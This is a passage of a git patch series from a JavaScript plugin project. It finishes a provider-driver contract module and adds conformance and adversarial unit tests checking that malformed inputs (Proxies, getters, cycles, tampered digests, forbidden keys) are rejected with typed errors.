'request_extras'); + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }; + if (hasOwn(extras, 'intent')) request.intent = optOwn(extras, 'intent'); + if (hasOwn(extras, 'include')) request.include = optOwn(extras, 'include'); + return detachFrozenJson(validateDriverRequest(request, operation).request); +} + +export function describeProviderDriverContractV1() { + return capturedFreeze({ + schema: PROVIDER_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + request_schema_ids: DRIVER_OPERATION_SCHEMA_IDS, + result_schema_ids: DRIVER_RESULT_SCHEMA_IDS, + request_keys: DRIVER_REQUEST_KEYS, + result_keys: DRIVER_RESULT_KEYS, + dispositions: capturedFreeze({ + preflight: [...PREFLIGHT_DISPOSITIONS], + launch: [...LAUNCH_DISPOSITIONS], + reconcile: [...RECONCILE_DISPOSITIONS], + cancel: [...CANCEL_DISPOSITIONS], + }), + capability_schema_id: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + capability_snapshot_schema_id: PROVIDER_CAPABILITY_SNAPSHOT_SCHEMA_ID, + capability_record_keys: CAPABILITY_RECORD_ALLOWED_KEYS, + features: DRIVER_FEATURE_VALUES, + reconcile_intents: RECONCILE_INTENTS, + relaunch_operations: capturedFreeze([]), + transports: capturedFreeze([]), + detail_code_pattern: DETAIL_CODE_PATTERN.source, + detail_message_max_bytes: DETAIL_MESSAGE_MAX_BYTES, + }); +} + +capturedFreeze(validateDriverDeclarationV1); +capturedFreeze(assertCapabilityRequirementV1); +capturedFreeze(assertDriverFeatureV1); +capturedFreeze(validateDriverPreflightRequestV1); +capturedFreeze(validateDriverLaunchRequestV1); +capturedFreeze(validateDriverReconcileRequestV1); +capturedFreeze(validateDriverCancelRequestV1); +capturedFreeze(validateDriverPreflightResultV1); +capturedFreeze(validateDriverLaunchResultV1); +capturedFreeze(validateDriverReconcileResultV1); +capturedFreeze(validateDriverCancelResultV1); +capturedFreeze(assertProviderDriverV1); +capturedFreeze(bindProviderDriverV1); +capturedFreeze(buildDriverOperationRequestV1); +capturedFreeze(describeProviderDriverContractV1); From 79e0fa965055900242fdcabb1ec5c17b1898d790 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 19:31:41 +0000 Subject: [PATCH 02/81] test(provider): add the provider-agnostic driver conformance harness Drive scripted drivers through the closed P17 lifecycle without a transport. Cover P05 13-field alignment, hostile descriptors, proxies, accessors, symbols, exotic prototypes, sparse/alias/cycle/depth graphs, and transition/correlation/duplicate/stale/tamper cases. Unsupported features and capability-contradicting launch certainty fail typed. --- .../test/provider-driver-contract-suite.mjs | 399 ++++++++++++++++++ .../r1-provider-driver-adversarial.test.mjs | 261 ++++++++++++ .../test/r1-provider-driver.test.mjs | 389 +++++++++++++++++ 3 files changed, 1049 insertions(+) create mode 100644 plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs create mode 100644 plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-provider-driver.test.mjs diff --git a/plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs b/plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs new file mode 100644 index 0000000..8baf460 --- /dev/null +++ b/plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs @@ -0,0 +1,399 @@ +// Reusable, provider-neutral ProviderDriverV1 conformance kit (P17). +// +// Any scripted or future harness driver (P18-P21) can be driven through this +// suite offline, with no provider transport, to prove: +// - exactly four own-function operations and nothing else; +// - the accepted P05 13-field capability record, not a stub schema; +// - exact ChildEnvelopeV1 proof requests and identity-echoing results; +// - unsupported live progress/restart/cancellation/detailed events fail +// closed with no fallback or replay; +// - hostile descriptors/proxies/accessors/symbols/exotic/sparse/alias/ +// cycle/depth/size inputs never execute caller code; +// - transition, correlation, duplicate, stale, and tamper cases fail +// with stable typed errors. + +import assert from 'node:assert/strict'; + +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1, parseChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_DISPOSITIONS, + DRIVER_FEATURE_KEYS, + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + LAUNCH_DISPOSITIONS, + PREFLIGHT_DISPOSITIONS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + describeProviderDriverContractV1, + validateDriverLaunchRequestV1, + validateDriverReconcileRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { p17Record } from './fixtures/r1-resolver-fixtures.mjs'; + +export const DRIVER_SUITE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const DRIVER_SUITE_REPOSITORY_PATH = '/opt/codex-co-engineer-driver-contract/suite'; +export const DRIVER_SUITE_RUN_ID = 'driver-contract-suite'; +export const DRIVER_SUITE_ASSIGNMENT_ID = 'contract-lane'; + +export function buildDriverContractFixtureV1() { + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: DRIVER_SUITE_RUN_ID, + repository: Object.freeze({ path: DRIVER_SUITE_REPOSITORY_PATH, base_sha: DRIVER_SUITE_BASE_SHA }), + objective: 'Exercise the ProviderDriverV1 contract suite end to end.', + assignments: Object.freeze([Object.freeze({ + assignment_id: DRIVER_SUITE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the contract lane exactly as instructed by the envelope.', + execution: Object.freeze({ provider: 'dsh', model: 'stealth/ox-alpha' }), + write_scope: Object.freeze(['mcp/**']), + acceptance: Object.freeze([Object.freeze({ command_id: 'unit-tests', timeout_ms: 600_000 })]), + expected_duration_ms: 1_200_000, + required_evidence: Object.freeze(['provider_report', 'git_diff']), + })]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + }); + const envelope = compileChildEnvelopeV1(manifest, DRIVER_SUITE_ASSIGNMENT_ID); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +export function driverFeatures(overrides = {}) { + return { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + ...overrides, + }; +} + +export function driverDeclaration(provider = 'dsh', featureOverrides = {}, capabilityOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record(provider, capabilityOverrides), + features: driverFeatures(featureOverrides), + }; +} + +export function driverResultFor(operation, request, disposition, overrides = {}) { + const lane = parseChildEnvelopeV1(request.envelope_text); + return { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: lane.run_id, + assignment_id: lane.assignment_id, + lane_index: lane.lane_index, + base_sha: lane.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + disposition, + ...overrides, + }; +} + +function detailFor(operation, disposition) { + if (operation === 'preflight' && disposition === 'blocked') { + return { + detail_code: 'model_unattested', + detail_message: 'The installed provider cannot attest the model.', + }; + } + if (operation === 'launch' && disposition === 'not_sent') { + return { + detail_code: 'transport_unavailable', + detail_message: 'No prompt reached the provider.', + }; + } + return {}; +} + +export function scriptedProviderDriverV1(dispositions = {}) { + const chosen = { + preflight: 'ready', + launch: 'dispatch_uncertain', + reconcile: 'terminal', + cancel: 'cancel_confirmed', + ...dispositions, + }; + return { + preflight: (request) => driverResultFor( + 'preflight', request, chosen.preflight, detailFor('preflight', chosen.preflight), + ), + launch: (request) => driverResultFor( + 'launch', request, chosen.launch, detailFor('launch', chosen.launch), + ), + reconcile: (request) => driverResultFor('reconcile', request, chosen.reconcile), + cancel: (request) => driverResultFor('cancel', request, chosen.cancel), + }; +} + +function expectDriverFailure(prefix, name, fn, code) { + assert.throws( + fn, + (error) => error instanceof RunContractV1Error && (code === undefined || error.code === code), + `${prefix} ${name}: expected RunContractV1Error${code ? ` with code ${code}` : ''}.`, + ); +} + +function hostileRequest(operation, extraKey, extraValue) { + const fixture = buildDriverContractFixtureV1(); + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + if (extraKey !== undefined) request[extraKey] = extraValue; + return request; +} + +export function runProviderDriverContractSuiteV1(driver, options = {}) { + const label = options.label ?? 'provider-driver'; + const declaration = options.declaration ?? driverDeclaration('dsh'); + const prefix = `[${label}]`; + let checks = 0; + const pass = () => { checks += 1; }; + const fixture = buildDriverContractFixtureV1(); + + const description = describeProviderDriverContractV1(); + assert.deepEqual([...description.operations], [...DRIVER_OPERATIONS], `${prefix} contract operations`); + assert.equal(description.version, PROVIDER_DRIVER_VERSION, `${prefix} contract version`); + assert.equal(description.relaunch_operations.length, 0, `${prefix} defines no relaunch operation`); + assert.deepEqual([...description.transports], [], `${prefix} claims no provider transport`); + assert.equal( + description.capability_schema_id, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + `${prefix} capability schema is the accepted P05 bridge`, + ); + assert.equal(description.capability_record_keys.length, 13, `${prefix} P05 13-field capability record`); + pass(); + + const summary = assertProviderDriverV1(driver); + assert.equal(summary.schema, description.schema, `${prefix} driver schema`); + pass(); + + const bound = bindProviderDriverV1(driver, declaration); + assert.deepEqual(Object.keys(bound).sort(), [...DRIVER_OPERATIONS].sort(), + `${prefix} bound surface exposes exactly the four operations`); + pass(); + + const receipts = {}; + for (const operation of DRIVER_OPERATIONS) { + const request = buildDriverOperationRequestV1(operation, fixture.envelope); + const receipt = bound[operation](request); + assert.ok(DRIVER_DISPOSITIONS[operation].includes(receipt.disposition), + `${prefix} ${operation} uses the closed disposition vocabulary`); + assert.equal(receipt.run_id, fixture.run_id, `${prefix} ${operation} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${prefix} ${operation} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${prefix} ${operation} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${prefix} ${operation} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${prefix} ${operation} echoes the verified envelope digest`); + assert.ok(Object.isFrozen(receipt), `${prefix} ${operation} result is detached/frozen`); + receipts[operation] = receipt; + pass(); + } + + if (receipts.preflight.disposition === PREFLIGHT_DISPOSITIONS[1]) { + assert.equal(typeof receipts.preflight.detail_code, 'string', `${prefix} blocked preflight classifies itself`); + } else { + assert.equal(receipts.preflight.detail_code, undefined, `${prefix} ready preflight stays bare`); + } + if (receipts.launch.disposition === LAUNCH_DISPOSITIONS[0]) { + assert.equal(typeof receipts.launch.detail_code, 'string', `${prefix} not_sent launch classifies itself`); + } else { + assert.equal(receipts.launch.detail_code, undefined, + `${prefix} ${receipts.launch.disposition} launch stays bare`); + } + pass(); + + expectDriverFailure(prefix, 'digest-only launch', + () => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), + 'digest_only_launch_denied'); + pass(); + + const flipped = fixture.child_envelope_digest.startsWith('0') + ? `1${fixture.child_envelope_digest.slice(1)}` + : `0${fixture.child_envelope_digest.slice(1)}`; + expectDriverFailure(prefix, 'wrong digest', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'child_envelope_digest', flipped)), + 'child_envelope_digest_mismatch'); + const last = fixture.envelope_text.charCodeAt(fixture.envelope_text.length - 1); + const tamperedText = `${fixture.envelope_text.slice(0, -1)}${String.fromCharCode(last ^ 1)}`; + expectDriverFailure(prefix, 'tampered envelope bytes', + () => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: tamperedText, + child_envelope_digest: fixture.child_envelope_digest, + })); + expectDriverFailure(prefix, 'uppercase digest', + () => validateDriverLaunchRequestV1(hostileRequest( + 'launch', 'child_envelope_digest', fixture.child_envelope_digest.toUpperCase(), + )), + 'invalid_format'); + pass(); + + expectDriverFailure(prefix, 'cross-operation reuse', + () => validateDriverReconcileRequestV1(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'schema_mismatch'); + pass(); + + const foreignKeys = [ + ['fallback', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['allow_merge', true, 'merge_authority_denied'], + ['create_pr', true, 'merge_authority_denied'], + ['relaunch_attempts', 1, 'unknown_key'], + ['resend', true, 'replay_or_fallback_denied'], + ]; + for (const [key, value, code] of foreignKeys) { + expectDriverFailure(prefix, `foreign key ${key}`, + () => validateDriverLaunchRequestV1(hostileRequest('launch', key, value)), + code); + } + pass(); + + let getterRuns = 0; + const accessorRequest = hostileRequest('launch'); + delete accessorRequest.envelope_text; + Object.defineProperty(accessorRequest, 'envelope_text', { + enumerable: true, + get() { + getterRuns += 1; + return fixture.envelope_text; + }, + }); + expectDriverFailure(prefix, 'accessor request', + () => validateDriverLaunchRequestV1(accessorRequest), + 'accessor_property_denied'); + assert.equal(getterRuns, 0, `${prefix} no getter executed during request validation`); + + expectDriverFailure(prefix, 'Proxy request', + () => validateDriverLaunchRequestV1(new Proxy(hostileRequest('launch'), {})), + 'proxy_denied'); + const revocable = Proxy.revocable(hostileRequest('launch'), {}); + revocable.revoke(); + expectDriverFailure(prefix, 'revoked Proxy request', + () => validateDriverLaunchRequestV1(revocable.proxy), + 'proxy_denied'); + expectDriverFailure(prefix, 'symbol key', + () => validateDriverLaunchRequestV1(hostileRequest('launch', Symbol('hidden'), 1)), + 'symbol_key_denied'); + + const hiddenKeyRequest = hostileRequest('launch'); + Object.defineProperty(hiddenKeyRequest, 'schema', { + value: DRIVER_OPERATION_SCHEMA_IDS.launch, enumerable: false, + }); + expectDriverFailure(prefix, 'non-enumerable key', + () => validateDriverLaunchRequestV1(hiddenKeyRequest), + 'non_enumerable_property_denied'); + expectDriverFailure(prefix, 'exotic prototype', + () => validateDriverLaunchRequestV1(Object.assign( + Object.create({ inherited() {} }), hostileRequest('preflight'), + )), + 'exotic_prototype_denied'); + expectDriverFailure(prefix, 'sparse array payload', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'extra', new Array(3))), + 'invalid_array'); + const cyclicRequest = hostileRequest('launch', 'extra', {}); + cyclicRequest.extra.self = cyclicRequest.extra; + expectDriverFailure(prefix, 'cyclic payload', + () => validateDriverLaunchRequestV1(cyclicRequest), + 'aliased_reference_denied'); + const shared = { lane: 1 }; + const aliasedRequest = hostileRequest('launch', 'extra', shared); + aliasedRequest.extra2 = shared; + expectDriverFailure(prefix, 'aliased payload', + () => validateDriverLaunchRequestV1(aliasedRequest), + 'aliased_reference_denied'); + expectDriverFailure(prefix, 'function payload', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'envelope_text', () => {})), + 'invalid_json_type'); + let depth = { v: 0 }; + for (let index = 0; index < 34; index += 1) depth = { nested: depth }; + expectDriverFailure(prefix, 'oversized depth', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'extra', depth)), + 'value_depth_exceeded'); + const ownUndefined = hostileRequest('launch'); + ownUndefined.version = undefined; + expectDriverFailure(prefix, 'own undefined', + () => validateDriverLaunchRequestV1(ownUndefined), + 'own_undefined_denied'); + pass(); + + expectDriverFailure(prefix, 'fifth operation', + () => assertProviderDriverV1({ ...driver, retry: () => ({}) }), + 'invalid_surface'); + const incomplete = { ...driver }; + delete incomplete.cancel; + expectDriverFailure(prefix, 'missing operation', + () => assertProviderDriverV1(incomplete), + 'invalid_surface'); + expectDriverFailure(prefix, 'non-function operation', + () => assertProviderDriverV1({ ...driver, preflight: 42 }), + 'invalid_operation'); + const accessorDriver = {}; + Object.defineProperty(accessorDriver, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of ['launch', 'reconcile', 'cancel']) accessorDriver[operation] = () => ({}); + expectDriverFailure(prefix, 'accessor operation', + () => assertProviderDriverV1(accessorDriver), + 'invalid_object'); + expectDriverFailure(prefix, 'Proxy driver', + () => assertProviderDriverV1(new Proxy({ ...driver }, {})), + 'proxy_denied'); + class DriverClass {} + expectDriverFailure(prefix, 'exotic prototype driver', + () => assertProviderDriverV1(Object.assign(new DriverClass(), driver)), + 'exotic_prototype_denied'); + const symbolDriver = { ...driver }; + symbolDriver[Symbol('extra')] = () => ({}); + expectDriverFailure(prefix, 'symbol-keyed driver', + () => assertProviderDriverV1(symbolDriver), + 'invalid_object'); + pass(); + + expectDriverFailure(prefix, 'duplicate launch after possible send', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'replay_denied'); + pass(); + + assert.equal(DRIVER_FEATURE_KEYS.length, 4, `${prefix} four honest driver features`); + pass(); + + return Object.freeze({ + label, + checks, + ok: true, + operations: Object.freeze([...DRIVER_OPERATIONS]), + }); +} diff --git a/plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs new file mode 100644 index 0000000..ebf6030 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs @@ -0,0 +1,261 @@ +// Adversarial tests for the P17 ProviderDriverV1 contract: the reusable +// provider-neutral conformance kit passes for scripted drivers, rejects +// identity/disposition/feature lies, and keeps hostile direct-JavaScript +// inputs descriptor-first and trap-free. No provider transport is configured. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + bindProviderDriverV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + countingProxy, + trapTotal, +} from './fixtures/r1-resolver-fixtures.mjs'; +import { + buildDriverContractFixtureV1, + driverDeclaration, + driverResultFor, + runProviderDriverContractSuiteV1, + scriptedProviderDriverV1, +} from './provider-driver-contract-suite.mjs'; + +const fixture = buildDriverContractFixtureV1(); +const declaration = driverDeclaration('dsh'); + +function expectSuiteRejection(driver, name, extra = {}) { + assert.throws( + () => runProviderDriverContractSuiteV1(driver, { label: `violator-${name}`, ...extra }), + (error) => error instanceof Error && !utilTypes.isProxy(error), + `suite must reject the ${name} violator`, + ); +} + +function wrappedDriver(overrideOperation, receiptTransform) { + const driver = scriptedProviderDriverV1(); + return { + ...driver, + [overrideOperation]: (request) => receiptTransform(driver[overrideOperation](request), request), + }; +} + +test('the contract suite accepts a conforming scripted driver deterministically', () => { + const driver = scriptedProviderDriverV1(); + const first = runProviderDriverContractSuiteV1(driver, { label: 'conformance-a' }); + const second = runProviderDriverContractSuiteV1(driver, { label: 'conformance-a' }); + assert.equal(first.ok, true); + assert.deepEqual(first, second); + assert.ok(first.checks >= 10, 'the suite runs its full check list'); + assert.ok(Object.isFrozen(first)); +}); + +test('the contract suite stays neutral across completable closed dispositions', () => { + const uncertain = runProviderDriverContractSuiteV1( + scriptedProviderDriverV1({ + launch: 'dispatch_uncertain', + reconcile: 'unresolved_attention', + cancel: 'cancel_requested', + }), + { label: 'conformance-uncertain' }, + ); + assert.equal(uncertain.ok, true); + + const terminal = runProviderDriverContractSuiteV1( + scriptedProviderDriverV1({ + reconcile: 'in_progress', + cancel: 'already_terminal', + }), + { label: 'conformance-in-progress' }, + ); + assert.equal(terminal.ok, true); +}); + +test('the suite rejects drivers that lie about the proven child identity', () => { + expectSuiteRejection(wrappedDriver('launch', (receipt) => ({ ...receipt, run_id: 'other-run' })), 'run-id'); + expectSuiteRejection( + wrappedDriver('cancel', (receipt) => ({ ...receipt, lane_index: receipt.lane_index + 1 })), + 'lane-index', + ); + expectSuiteRejection(wrappedDriver('preflight', (receipt) => ({ + ...receipt, + base_sha: 'f'.repeat(40), + })), 'base-sha'); + expectSuiteRejection(wrappedDriver('reconcile', (receipt) => ({ + ...receipt, + child_envelope_digest: '0'.repeat(64), + })), 'digest-echo'); +}); + +test('the suite rejects drivers reporting dispositions outside the closed vocabulary', () => { + expectSuiteRejection( + wrappedDriver('launch', (receipt) => ({ ...receipt, disposition: 'settled' })), + 'disposition', + ); +}); + +test('the suite rejects detail-pair rule violations and smuggled evidence keys', () => { + expectSuiteRejection(wrappedDriver('launch', (receipt) => ({ + ...receipt, + detail_code: 'why', + detail_message: 'because', + })), 'uncertain-with-detail'); + expectSuiteRejection(wrappedDriver('launch', (receipt) => ({ + ...receipt, + artifact_ref: 'sha256:deadbeef', + })), 'artifact-vocabulary'); +}); + +test('the suite rejects a driver exposing any fifth operation', () => { + assert.throws( + () => runProviderDriverContractSuiteV1( + { ...scriptedProviderDriverV1(), retry: () => ({}) }, { label: 'violator-retry' }, + ), + (error) => error instanceof RunContractV1Error && error.code === 'invalid_surface', + ); +}); + +test('live and revoked proxies are denied with zero traps before reflection', () => { + const live = countingProxy(requestForLaunch()); + const liveError = errorOf(() => validateDriverLaunchRequestV1(live.proxy)); + assert.equal(liveError.code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + assert.equal(utilTypes.isProxy(live.proxy), true); + + const { proxy, revoke } = Proxy.revocable(requestForLaunch(), { + get() { throw new Error('revoked getter ran'); }, + ownKeys() { throw new Error('revoked ownKeys ran'); }, + }); + revoke(); + const revokedError = errorOf(() => validateDriverLaunchRequestV1(proxy)); + assert.equal(revokedError.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); + + const declarationProxy = countingProxy(declaration); + const declarationError = errorOf(() => validateDriverDeclarationV1(declarationProxy.proxy)); + assert.equal(declarationError.code, 'proxy_denied'); + assert.equal(trapTotal(declarationProxy.counts), 0); +}); + +test('getters and own undefined on driver requests are denied without invoking accessors', () => { + let reads = 0; + const getterRequest = requestForLaunch(); + Object.defineProperty(getterRequest, 'version', { + enumerable: true, + get() { + reads += 1; + return 1; + }, + }); + assert.equal(errorOf(() => validateDriverLaunchRequestV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const undefinedRequest = requestForLaunch(); + undefinedRequest.version = undefined; + assert.equal(errorOf(() => validateDriverLaunchRequestV1(undefinedRequest)).code, 'own_undefined_denied'); +}); + +test('hostile result graphs fail closed through the bound surface', () => { + const request = requestForLaunch(); + const preflightRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + const goodReceipt = driverResultFor('preflight', preflightRequest, 'ready'); + + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => [goodReceipt], + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'invalid_type'); + + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => new Proxy(goodReceipt, {}), + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'proxy_denied'); + + let getterRuns = 0; + const accessorReceipt = { ...goodReceipt }; + delete accessorReceipt.disposition; + Object.defineProperty(accessorReceipt, 'disposition', { + enumerable: true, + get() { + getterRuns += 1; + return 'ready'; + }, + }); + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => accessorReceipt, + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + const cyclicReceipt = { ...goodReceipt, extra: {} }; + cyclicReceipt.extra.self = cyclicReceipt.extra; + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => cyclicReceipt, + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'aliased_reference_denied'); + void request; +}); + +test('drivers cannot mutate the validated request they are handed', () => { + const mutating = scriptedProviderDriverV1(); + const originalLaunch = mutating.launch; + mutating.launch = (request) => { + assert.throws(() => { request.child_envelope_digest = 'f'.repeat(64); }, TypeError); + return originalLaunch(request); + }; + const bound = bindProviderDriverV1(mutating, declaration); + bound.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + const receipt = bound.launch({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest); +}); + +test('a dsh driver that claims confirmed dispatch is rejected by capability honesty', () => { + expectSuiteRejection( + scriptedProviderDriverV1({ launch: 'dispatched' }), + 'dsh-confirmed-dispatch', + ); +}); + +function requestForLaunch() { + return { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; +} + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} diff --git a/plugins/codex-co-engineer/test/r1-provider-driver.test.mjs b/plugins/codex-co-engineer/test/r1-provider-driver.test.mjs new file mode 100644 index 0000000..669fc86 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-driver.test.mjs @@ -0,0 +1,389 @@ +// Runtime tests for the ProviderDriverV1 closed envelope/capability contract +// (P17): P05 13-field capability alignment, exact ChildEnvelopeV1 proof, +// typed results, honest feature/posture failures, and process-local +// status transitions. No provider transport is configured here. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_DISPOSITIONS, + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_OPERATIONS, + DRIVER_REQUEST_KEYS, + DRIVER_RESULT_KEYS, + DRIVER_RESULT_REQUIRED_KEYS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertCapabilityRequirementV1, + assertDriverFeatureV1, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + describeProviderDriverContractV1, + validateDriverCancelRequestV1, + validateDriverCancelResultV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverLaunchResultV1, + validateDriverPreflightRequestV1, + validateDriverPreflightResultV1, + validateDriverReconcileRequestV1, + validateDriverReconcileResultV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + DRIVER_SUITE_BASE_SHA, + DRIVER_SUITE_RUN_ID, + buildDriverContractFixtureV1, + driverDeclaration, + driverResultFor, + scriptedProviderDriverV1, +} from './provider-driver-contract-suite.mjs'; + +const fixture = buildDriverContractFixtureV1(); +const declaration = driverDeclaration('dsh'); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, overrides = {}) { + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...overrides, + }; + for (const [key, value] of Object.entries(overrides)) { + if (value === undefined) delete request[key]; + } + return request; +} + +function resultFor(operation, disposition, overrides = {}) { + return driverResultFor(operation, requestFor(operation), disposition, overrides); +} + +function detailForPreflight(disposition) { + return disposition === 'blocked' + ? { detail_code: 'model_unattested', detail_message: 'Provider cannot attest the requested model.' } + : {}; +} + +function detailForLaunch(disposition) { + return disposition === 'not_sent' + ? { detail_code: 'transport_unavailable', detail_message: 'No prompt reached the provider.' } + : {}; +} + +const REQUEST_VALIDATORS = { + preflight: validateDriverPreflightRequestV1, + launch: validateDriverLaunchRequestV1, + reconcile: validateDriverReconcileRequestV1, + cancel: validateDriverCancelRequestV1, +}; + +test('the provider driver contract is closed, versioned, and P05-aligned', () => { + assert.equal(PROVIDER_DRIVER_VERSION, 1); + assert.deepEqual([...DRIVER_OPERATIONS], ['preflight', 'launch', 'reconcile', 'cancel']); + assert.equal(CAPABILITY_RECORD_ALLOWED_KEYS.length, 13); + assert.equal(DRIVER_REQUEST_KEYS.length, new Set(DRIVER_REQUEST_KEYS).size); + for (const keySet of [DRIVER_REQUEST_KEYS, DRIVER_RESULT_KEYS, 